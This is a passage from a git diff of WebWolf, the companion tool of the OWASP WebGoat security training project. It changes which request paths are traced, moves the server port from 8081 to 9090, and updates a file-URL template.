         }
     }
    diff --git a/webwolf/src/main/java/org/owasp/webwolf/requests/WebWolfTraceRepository.java b/webwolf/src/main/java/org/owasp/webwolf/requests/WebWolfTraceRepository.java
    index 43a04b1af..23e95ba02 100644
    --- a/webwolf/src/main/java/org/owasp/webwolf/requests/WebWolfTraceRepository.java
    +++ b/webwolf/src/main/java/org/owasp/webwolf/requests/WebWolfTraceRepository.java
    @@ -20,6 +20,7 @@ import java.util.*;
     public class WebWolfTraceRepository implements TraceRepository {
     
         private final EvictingQueue traces = EvictingQueue.create(10000);
    +    private List exclusionList = Lists.newArrayList("/WebWolf/home", "/WebWolf/mail","/WebWolf/files", "/images/", "/login", "/favicon.ico", "/js/", "/webjars/", "/WebWolf/requests", "/css/", "/mail");
     
         @Override
         public List findAll() {
    @@ -33,11 +34,15 @@ public class WebWolfTraceRepository implements TraceRepository {
             return Lists.newArrayList(traces);
         }
     
    +    private boolean isInExclusionList(String path) {
    +        return exclusionList.stream().anyMatch(e -> path.contains(e));
    +    }
    +
         @Override
         public void add(Map map) {
             Optional host = getFromHeaders("host", map);
             String path = (String) map.getOrDefault("path", "");
    -        if (host.isPresent() && path.contains("/landing")) {
    +        if (host.isPresent() && !isInExclusionList(path)) {
                 traces.add(new Trace(new Date(), map));
             }
         }
    diff --git a/webwolf/src/main/resources/application.properties b/webwolf/src/main/resources/application.properties
    index 2d8f6dded..25869712a 100644
    --- a/webwolf/src/main/resources/application.properties
    +++ b/webwolf/src/main/resources/application.properties
    @@ -2,8 +2,8 @@ server.error.include-stacktrace=always
     server.error.path=/error.html
     server.session.timeout=6000
     #server.contextPath=/WebWolf
    -server.port=8081
    -server.address=127.0.0.1
    +server.port=9090
    +server.address=localhost
     server.session.cookie.name = WEBWOLFSESSION
     
     spring.datasource.url=jdbc:hsqldb:hsql://${webgoat.server.address:localhost}:9001/webgoat
    @@ -15,8 +15,6 @@ logging.level.org.springframework=INFO
     logging.level.org.springframework.boot.devtools=WARN
     logging.level.org.owasp=DEBUG
     logging.level.org.owasp.webwolf=TRACE
    -logging.level.org.apache.activemq=WARN
    -
     
     endpoints.trace.sensitive=false
     management.trace.include=REQUEST_HEADERS,RESPONSE_HEADERS,COOKIES,ERRORS,TIME_TAKEN,PARAMETERS,QUERY_STRING
    diff --git a/webwolf/src/main/resources/templates/files.html b/webwolf/src/main/resources/templates/files.html
    index 0cd43e95e..b3bcde29c 100644
    --- a/webwolf/src/main/resources/templates/files.html
    +++ b/webwolf/src/main/resources/templates/files.html
    @@ -20,7 +20,7 @@
             

    Each file will be available under the following url: - http://localhost:8081/files/{username}/{filename}. + http://localhost:9090//files/{username}/{filename}.

    You can copy and paste the location from the table below. @@ -33,7 +33,7 @@

    - +